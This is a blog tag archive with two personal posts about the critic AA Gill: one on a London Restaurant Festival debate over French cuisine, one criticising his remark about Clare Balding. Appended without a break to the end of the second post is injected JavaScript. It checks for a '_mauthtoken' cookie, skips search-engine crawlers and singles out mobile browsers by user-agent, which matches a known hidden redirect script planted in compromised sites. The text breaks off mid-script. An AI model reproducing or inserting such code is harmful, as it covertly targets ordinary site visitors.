Tag Archives: AA Gill

The other French paradox

On Tuesday I spent the night with AA Gill talking about French food. OK, so it was him, me, and about 100 other people, and I didn’t utter a single word, but it was still an unmissable prospect – my favourite writer on one of my favourite subjects. Anyway, it’s only really his mind that I’m after (and of course his job).

The event was a debate staged as part of the London Restaurant Festival, with the motion that ‘French cuisine is a spent force’. I desperately wanted Le Gill and Jonathan Soames – who were valiantly tempting us to believe that French cuisine is as relevant and well-regarded as it ever has been – to transport me back to my rose-tinged experiences of France and remind me of the good times: finishing my breakfast with a flourish before turning excitedly to thoughts of lunch. However, despite their bullish good humour (“We know with absolute certainty”, Gill began archly, “that no one in France is sitting in a room debating whether English cuisine is a spent force… these are the preoccupations of a developing food nation”), I came out of the theatre in the same frame of mind as when I entered.

I’m surprised at myself for even typing this, but it’s true: this summer, on holiday in Provence, I didn’t really smack my lips after a single meal. It could be that, following a French degree, two spells as a British ex-pat in France, countless trips to L’Hexagone and a job spent immersed in food, my expectations are higher than they previously were. It might be that we were in a particularly touristy part of France (although the village of Tavel had never before crossed my radar). It could have been sheer bad lunch. Whatever it was, France does seem to have gone off the boil slightly – only to a rolling simmer, mind, but off the boil nonetheless.

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For once, The Blonde is not amused

It had to happen one day I suppose. AA Gill, Sunday Times critic and long-time personal literary crush, who I adore for his renegade resistance to all things hackneyed and his pursuit of phrases worth pasting into the scrap book of your mind and returning to time and again, has finally come face-to-face with cliché, his nemesis.

I’ve been in awe of Gill since I was a teenager, when I’d sit in the kitchen of my friend’s house, mildly hungover, reading the lighter side of their Sunday paper. There I encountered his restaurant reviews and felt the thrill of reading wit with which I could identify decanted from my jumbled mind and poured onto the page from an altogether more well-wrought vessel. It’s that same shiver you get from watching a good comic: the realisation of,  ‘That’s exactly what I think, but I could never have put it like that’.

From then on, I wanted to write and write until I was second to no one but AA Gill. When AA Gill was away, the Times would come to me, their BB Hill, for back-up. It hasn’t happened yet. But I still daydream of a time when I’ll be up there with Gill as an author with the kind of non-derivative witty turn of phrase that makes your eyeballs itch and your vision blur. Of course, I also envied Gill his lifestyle, and wanted to be the person dining at all those chic restaurants (minus Clarkson, obviously). But it was always his art that I most admired.

Recently however, the only glimpses I’ve had of Gill peeking out from behind that pay wall have been from reports of his antics in the wider media. When he’s not squeezing more mileage out of the old cliché of boys and their hunter instincts, he’s firing homophobic flares in Clare Balding’s direction

If his insulting label had been a little more memorable than ‘dyke on a bike’ then, who knows, Balding might grudgingly have given Gill a curt nod in the direction of novelty as she filed her complaint to the PCC. As it stands, his choice of targets begs the question: ‘Why can’t life imitate art?’if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s 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